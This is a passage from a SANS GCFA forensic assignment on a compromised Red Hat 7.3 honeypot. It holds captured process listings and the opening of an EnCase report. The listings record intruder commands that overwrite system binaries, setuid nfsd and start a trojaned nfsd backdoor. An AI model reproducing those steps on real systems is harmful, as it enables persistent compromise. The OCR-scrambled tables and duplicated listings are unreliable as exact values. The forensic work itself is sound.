<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sd</td>
<td>/bin/sd</td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td>kdeinit: Running...</td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcpserver --nosid</td>
<td>kdeinit: dcpserver --nosid</td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td>kdeinit: klauncher</td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
<td>kdeinit: kded</td>
</tr>
</tbody>
</table>
1192    S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
1203    S 0:02 kdeinit: knotify
1208    S 0:00 kwrapper ksmsgserver --restore
1210    S 0:00 kdeinit: ksmsgserver --restore
1211    S 0:09 kdeinit: kwin --session 117200000100010561262930000008
1217    S 0:18 kdeinit: kicker
1219    S 0:35 autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1223    S 0:51 kdeinit: klipper -icon klipper -miniicon klipper
1226    S 0:00 kdeinit: kwriter
1228    S 0:00 korgac -miniicon korganizer
1230    S 0:00 kalarmd --login
1232    S 5:04 kdeinit: konsole -icon konsole -miniicon konsole
1234 pts/1 S 0:00 /bin/bash
1246 pts/1 S 0:00 -su -
1269 pts/1 S 0:00 -bash
6133    S 0:00 kdeinit: kcookiejar
6135    S 0:00 kdesud
7168 pts/2 S 0:12 kdeinit: konsole -icon konsole -miniicon konsole
7170 pts/2 S 0:00 /bin/bash
7203 pts/2 S 0:00 -su -
7206 pts/2 S 0:00 -bash
8125    S 0:01 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8190    S 0:00 [cm <defunct>] /dev/null -P /var/run/snmpd -s
10606    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10656    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10657    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10608    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10609    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10610    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10611    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10612    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10613    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10614    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10615    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19365    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19366    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19367    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19368    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19369    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19370    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19371    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19372    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19373    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19374    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19375    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19376    S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19488    S 0:00 bash -l
19504    S 0:00 /r
19508    Z 0:00 [r <defunct>]
19508    Z 0:00 /bin/sh
19509    Z 0:00 su
19509    Z 0:00 bash
19565    S 0:00 minilogd
19566    T 0:00 /usr/bin/autoid
19685    S 0:00 popauth
19686    Z 0:00 [autoid <defunct>]
1994    T 0:00 cp -f killall /usr/bin/
1997    Z 0:00 [cp <defunct>]
19701    T 0:00 cp -f find /usr/bin
19702    T 0:00 cp -f /usr/bin
19796    Z 0:00 [cp <defunct>]
19796    Z 0:00 [cp <defunct>]
19796    Z 0:00 [cp <defunct>]
19796    Z 0:00 [cp <defunct>]
19796    Z 0:00 [cp <defunct>]
19797    Z 0:00 [cp <defunct>]
19801    T 0:00 cp -f sshd_config /sbin
19801    Z 0:00 [cp <defunct>]
19801    Z 0:00 [cp <defunct>]
19806    T 0:00 cp -f xhx_h /sbin
19807    T 0:00 cp -f xhx_r /sbin
19810    T 0:00 /usr/sbin/nfsd -f /sbin/sshd_config
19811    Z 0:00 [cp <defunct>]
19813    Z 0:00 [cp <defunct>]
19814    Z 0:00 [cp <defunct>]
19815    Z 0:00 [nfsd <defunct>]
19831    T 0:00 ls -al
```shell
killall -9 ls cp chmod
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$

PID TTY STAT TIME COMMAND
-----------------------
 1     S 0:04 init
 2     SW 0:00 [keventd]
 3     SW 0:00 [kapmd]
 4     SWN 0:00 [ksoftirqd_CPU0]
 5     SW 0:02 [kswapd]
 6     SW 0:00 [bdflush]
 7     SW 0:00 [kupdated]
 8     SW 0:00 [mdrecoveryd]
12     SW 0:00 [kJournald]
91     SW 0:00 [Khubd]
186    SW 0:00 [kJournald]
187    SW 0:00 [kJournald]
188    SW 0:00 [kJournald]
189    SW 0:00 [kJournald]
657     S 0:00 rpc.statd
770     S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
790     SL 0:01 ntpd -U ntp -g
8462    S 0:01 /usr/sbin/shd
875     S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
916     S 0:00 sendmail: accepting connections
935     S 0:00 gpm -t ps/2 -m /dev/mouse
953     S 0:00 cron
1005    S 0:03 xfs_droppriv -daemon
1041    S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 S 0:00 /usr/bin/kdm --nodaemon
1066    S 671:43 /usr/X11R6/bin/Xauth /var/run/xauth/A:0=gkOEqz
1067    S 0:00 :0
1091    S 0:00 /bin/sh /usr/bin/startkde
1175    S 0:00 kded: Running...
1176    S 0:00 kded: dcopserver --nosid
1181    S 0:00 kded: klauncher
1183    S 5:52 kded: kded
1192    S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
```
Kevin Miller - Sans GCFA Assignment – v1.4
Page 201

1203  7  S  0:02  kdeinit: knotify
1208  7  S  0:00  kwrapper ksmserver --restore
1210  7  S  0:00  kdeinit: ksmserver --restore
1211  7  S  0:09  kdeinit: kwin -session 117f00000100010561262930000008
1217  7  S  0:18  kdeinit: kicker
1219  7  S  0:35  autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1223  7  S  0:51  kdeinit: klipper -icon klipper -minicon klipper
1226  7  S  0:00  kdeinit: kwrited
1228  7  S  0:00  korgac --minicon korganizer
1230  7  S  0:00  kalarmd --login
1232  7  S  5:04  kdeinit: konsole -icon konsole -minicon konsole
1234  pts/1  S  0:00  /bin/bash
1266  pts/1  S  0:00  su
1269  pts/1  S  0:00  -bash
6133  7  S  0:00  kdeinit: kcokiejar
6135  7  S  0:00  kdesud
7168  7  S  0:12  kdeinit: konsole -icon konsole -minicon konsole
7170  pts/2  S  0:00  /bin/bash
7206  pts/2  S  0:00  -
7206  pts/2  S  0:00  -bash
8125  7  S  0:01  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8154  7  S  0:00  /usr/sbin/snmpd -a -l /dev/null -P /var/run/snmpd -a
10606  7  S  0:00  /sbin/sh
10607  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10608  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10609  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10610  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10611  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10612  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10613  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19364  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19365  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19366  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19367  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19368  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19369  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19370  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19371  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19372  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19373  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19374  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19375  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19376  7  S  0:00  /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19488  7  S  0:00  bash -i
19504  7  S  0:00  ./r
19505  7  Z  0:00  [r <defunct>]
19507  7  S  0:00  /bin/sh
19508  7  S  0:00  su
19509  7  S  0:00  bash
19635  7  S  0:00  minilogd
19678  7  T  0:00  /usr/bin/weit
19685  7  S  0:00  popauth
19686  7  Z  0:00  [weit <defunct>]
19694  7  T  0:00  cp -f killall /usr/bin/
19697  7  Z  0:00  [cp <defunct>]
19701  7  T  0:00  cp -f find /usr/bin
19703  7  Z  0:00  [cp <defunct>]
19783  7  T  0:00  cp -f du /usr/bin
19792  7  Z  0:00  [cp <defunct>]
19796  7  T  0:00  chmod +s /usr/sbin/nfsd
19798  7  Z  0:00  [chmod <defunct>]
19801  7  T  0:00  cp -f sshd_config /sbin
19802  7  Z  0:00  [cp <defunct>]
19806  7  T  0:00  cp -f xxh_h /sbin
19807  7  T  0:00  cp -f xxh_r /sbin
19810  7  T  0:00  /usr/sbin/nfsd -f /sbin/sshd_config
19811  7  S  0:00  /usr/sbin/nfsd -f /sbin/sshd_config
19813  7  Z  0:00  [cp <defunct>]
19814  7  Z  0:00  [cp <defunct>]
19815  7  Z  0:00  [nfsd <defunct>]
19893  7  S  0:00  bash -i
19936  7  S  0:00  inetd/services
<table>
<thead>
<tr>
<th>PID</th>
<th>Status</th>
<th>User</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>19941</td>
<td>S</td>
<td>root</td>
<td>0:00</td>
<td>inetd/services</td>
</tr>
<tr>
<td>19948</td>
<td>R</td>
<td>root</td>
<td>0:00</td>
<td>ps ax</td>
</tr>
</tbody>
</table>

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:
Sans GCFA Cert
Investigating Officer:
Kevin Miller
12 Main
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
**Linux 7.3 Honey pot system**

**Device**
- Evidence Number: Linux 7.3 Honey pot system
- File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
- Examiner Name: Kevin Miller
- Actual Date: 07/16/03 11:03:19AM
- Target Date: 07/16/03 11:03:19AM
- Total Size: 6,448,619,520 bytes (6.0GB)
- Total Sectors: 12,594,960
- File Integrity: Completely Verified, 0 Errors
- Write Blocker: FastBloc
- EnCase Version: 4.14
- System Version: Windows XP
- Acquisition Hash: 579720D58A61D971083F10695B8249CB
- Verify Hash: 579720D58A61D971083F10695B8249CB

**Partitions**

<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

**OS Background**

**OS Version /etc/issue**

Red Hat Linux release 7.3 (Valhalla)

**File system layout from fstab.**

```
LABEL=/      /    ext3    defaults  1  1
LABEL=/boot  /boot ext3    defaults  1  2
none         /dev/pts devpts gid=5, mode=620 0 0
LABEL=/home  /home ext3    defaults  1  2
none         /proc   proc    defaults  0  0
none         /dev/shm tmpfs   defaults  0  0
LABEL=/usr   /usr   ext3    defaults  1  2
LABEL=/var   /var   ext3    defaults  1  2
/dev/hda7    swap   swap    defaults  0  0
/dev/cdrom   /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/dev/fd0     /mnt/floppy auto   noauto,owner,kudzu 0 0
```
## Volume /boot

<table>
<thead>
<tr>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System:</td>
<td>EXT3</td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>105,777</td>
</tr>
<tr>
<td></td>
<td>54,157,312 bytes (51.7MB)</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>52,888</td>
</tr>
<tr>
<td></td>
<td>43,376,640 bytes (41.4MB)</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>42,360</td>
</tr>
<tr>
<td></td>
<td>42,360 bytes (10.3MB)</td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
</tr>
<tr>
<td>Volume Offset:</td>
<td>63</td>
</tr>
<tr>
<td></td>
<td>Allocated: 10,780,672 bytes</td>
</tr>
<tr>
<td></td>
<td>10.3MB</td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /boot
EnCase Computer Analysis Report

Volume /usr

<table>
<thead>
<tr>
<th>Volume</th>
<th>EXT3</th>
<th>Drive Type: Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System:</td>
<td>8</td>
<td>Bytes per sector: 512</td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>7,817,040</td>
<td>Total Capacity:</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>977,130</td>
<td>Unallocated:</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>2,523,922,432 bytes (2.4GB)</td>
<td>Allocated:1,478,402,048</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>616,192</td>
<td>Volume Offset: 105,840</td>
</tr>
<tr>
<td>bytes (1.4GB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

Volume
File System: EXT3
Sectors per cluster: 8
Total Sectors: 2,842,560
Total Sectors: 1,455,390,720 bytes (1.4GB)
Total Clusters: 355,320
Total Clusters: 1,397,174,272 bytes (1.3GB)
Free Clusters: 341,107
Free Clusters: bytes (55.5MB)
Volume Name: 7,922,880
Volume Name: Volume Offset: 7,922,880

The following are bookmarks from Volume /home
## Volume

<table>
<thead>
<tr>
<th>File System:</th>
<th>EXT3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>786,177</td>
</tr>
<tr>
<td>Total Capacity:</td>
<td>402,522,112 bytes (383.9MB)</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>393,088</td>
</tr>
<tr>
<td>Unallocated:</td>
<td>316,984,320 bytes (302.3MB)</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>309,555</td>
</tr>
<tr>
<td>Allocated:</td>
<td>85,537,792 bytes (81.6MB)</td>
</tr>
<tr>
<td>Volume Name:</td>
<td>Volume Offset:</td>
</tr>
<tr>
<td>10,765,503</td>
<td></td>
</tr>
</tbody>
</table>

### The following are bookmarks from Volume /

#### startup files

<table>
<thead>
<tr>
<th>Name</th>
<th>Full Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>inittab</td>
<td>/etc/inittab</td>
</tr>
</tbody>
</table>

**Comment:** The config file used for booting.

```plaintext
# inittab  This file describes how the INIT process should set up
# the system in a certain run-level.
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0  -  halt (Do NOT set initdefault to this)
# 1  -  Single user mode
# 2  -  Multiuser, without NFS (The same as 3, if you do not have networking)
# 3  -  Full multiuser mode
# 4  -  unused
# 5  -  X11
# 6  -  reboot (Do NOT set initdefault to this)
# id:5:initdefault:
# System initialization.
```

EnCase Computer Analysis Report

EnCase Computer Analysis Report
Sans GCFA Cert Assignment

si::sysinit:/etc/rc.d/rc.sysinit

l0::0:wait:/etc/rc.d/rc 0
l1::1:wait:/etc/rc.d/rc 1
l2::2:wait:/etc/rc.d/rc 2
l3::3:wait:/etc/rc.d/rc 3
l4::4:wait:/etc/rc.d/rc 4
l5::5:wait:/etc/rc.d/rc 5
l6::6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pr::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon

These scripts are used by inittab for booting

7) Name      keytable
   Description  File
   Full Path    Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\keytable
   Entry Modified  06/19/03 11:35:03AM
   Last Accessed  06/27/03 02:09:10PM
   Last Written   04/15/02 08:05:50AM
   Hash Value     cd93e8654c65ca1dd8e6d099c06d2f6f
   Physical Size  2,048
   Logical Size   1,273
   Short Name

8) Name      atd
   Description  File
   Full Path    Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\atd
   Entry Modified  06/19/03 11:34:38AM
   Last Accessed  06/27/03 02:09:10PM
   Last Written   01/17/02 11:34:41AM
   Hash Value     524d785c2e2f156b8deb1d24004c681e
   Physical Size  2,048
   Logical Size   1,176
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>kdcrotate</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/kdcrotate</td>
</tr>
<tr>
<td>10</td>
<td>gpm</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/gpm</td>
</tr>
<tr>
<td>11</td>
<td>sendmail</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/sendmail</td>
</tr>
<tr>
<td>12</td>
<td>kudzu</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/kudzu</td>
</tr>
<tr>
<td>13</td>
<td>halt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/halt</td>
</tr>
<tr>
<td>14</td>
<td>netfs</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/netfs</td>
</tr>
</tbody>
</table>

- **Entry Modified**: 06/19/03 11:36:46AM
- **Last Accessed**: 06/27/03 02:09:10PM
- **Last Written**: 03/01/02 08:43:05AM
- **Hash Value**: 52c90cfd7106168e12784574f66a9c87 (kdcrotate)
- **Hash Value**: 57c68b9be4338b491c5dc2aeaca24520 (gpm)
- **Hash Value**: daa93b12f2b893d0579075e6e71d5723 (sendmail)
- **Hash Value**: e8e31d1982dd547f059ce530e8541d6d (kudzu)
- **Hash Value**: 2381f1589d17b4795823dda2e891b0b3 (halt)
- **Hash Value**: 6244 (netfs)

- **Physical Size**: 2,048
- **Logical Size**: 1,084
- **Logical Size**: 1,541
- **Logical Size**: 1,541
- **Logical Size**: 1,830
- **Logical Size**: 2,048
- **Logical Size**: 1,830
- **Logical Size**: 1,919
- **Logical Size**: 5,153
- **Logical Size**: 6,144
- **Logical Size**: 5,153
- **Logical Size**: 5,153
- **Logical Size**: 5,153

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/13/02 01:28:10AM</td>
<td>832173d444399f8da24f764d211ab161</td>
<td>5,120</td>
<td>5,104</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/12/01 11:18:08AM</td>
<td>27ea15de8132eef5987c204e05d19299</td>
<td>2,048</td>
<td>1,544</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:37:18AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/22/02 12:41:45AM</td>
<td>61b0710c6cd9661045b4296b77229686</td>
<td>4,096</td>
<td>3,313</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:38:11AM</td>
<td>06/27/03 02:09:10PM</td>
<td>06/24/01 08:25:30PM</td>
<td>5479af54908ef2f8b169c17cee5acb54</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

15) Name: random
Description: File
Full Path: /etc/rc.d/init.d/random

16) Name: single
Description: File
Full Path: /etc/rc.d/init.d/single

17) Name: ipchains
Description: File
Full Path: /etc/rc.d/init.d/ipchains

18) Name: ipchains
Description: File
Full Path: /etc/rc.d/init.d/ipchains

19) Name: anacron
Description: File
Full Path: /etc/rc.d/init.d/anacron

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

20) Name lpd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\lpd
Entry Modified 06/19/03 11:39:08AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/02/02 10:57:07AM
Hash Value 37ba1d18ff0ff75142055f1b63d6cc9e
Physical Size 2,048
Logical Size 2,033

21) Name portmap
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\portmap
Entry Modified 06/19/03 11:40:22AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/27/02 01:41:37PM
Hash Value 97d91eea25e86a592c5bebbaeac49f16
Physical Size 2,048
Logical Size 1,831

22) Name xinetd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\xinetd
Entry Modified 06/19/03 11:46:32AM
Last Accessed 06/27/03 02:13:01PM
Last Written 04/04/02 04:30:50PM
Hash Value 4296e73411732537d5750b8ed88dde7
Physical Size 3,072
Logical Size 2,313

23) Name autofs
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\autofs
Entry Modified 06/20/03 02:13:13AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/02/02 10:22:41AM
Hash Value 81744fd73f54923367f42cce374b64ab
Physical Size 10,240
Logical Size 9,435

24) Name nfslock
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\nfslock
Entry Modified 06/20/03 02:14:00AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/09/02 09:14:14AM
Hash Value a3d40799d7f19b21f1652a6239b93625
Physical Size 3,072
Logical Size 2,286

25) Name identd
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

#### Full Path
Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\identd

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/20/03 02:14:16AM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>02/27/02 01:12:55PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>55b38ea6aeecce5f7f8f8b99c3e9bd0</td>
</tr>
<tr>
<td>Physical Size</td>
<td>2,048</td>
</tr>
<tr>
<td>Logical Size</td>
<td>1,681</td>
</tr>
</tbody>
</table>

26) **Name** snmpd  
**Description** File  
**Full Path** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\snmpd  
**Entry Modified** 06/20/03 02:14:36AM  
**Last Accessed** 06/27/03 02:12:26PM  
**Last Written** 04/17/02 07:07:02AM  
**Hash Value** b9b3761374734822a49f4fbb3e648867  
**Physical Size** 2,048  
**Logical Size** 1,160

27) **Name** ypbind  
**Description** File  
**Full Path** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ypbind  
**Entry Modified** 06/20/03 02:14:45AM  
**Last Accessed** 06/27/03 02:09:10PM  
**Last Written** 03/25/02 03:44:14PM  
**Hash Value** b1482b84a650f1e4864538d7596fabe0  
**Physical Size** 3,072  
**Logical Size** 2,501

28) **Name** sshd  
**Description** File  
**Full Path** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sshd  
**Entry Modified** 06/29/03 03:22:04PM  
**Last Accessed** 06/27/03 02:09:11PM  
**Last Written** 04/04/02 09:27:45PM  
**Hash Value** a84199973476d1ab0a4a42e6a617e853  
**Physical Size** 3,072  
**Logical Size** 2,647

29) **Name** yppasswdd  
**Description** File  
**Full Path** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppasswdd  
**Entry Modified** 06/20/03 02:17:15AM  
**Last Accessed** 06/27/03 02:09:11PM  
**Last Written** 04/16/02 10:09:56AM  
**Hash Value** 7933a2a52e6d4e1def3a491e59ab10c  
**Physical Size** 2,048  
**Logical Size** 1,638

30) **Name** ypfrd  
**Description** File  
**Full Path** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ypfrd  
**Entry Modified** 06/20/03 02:17:15AM  
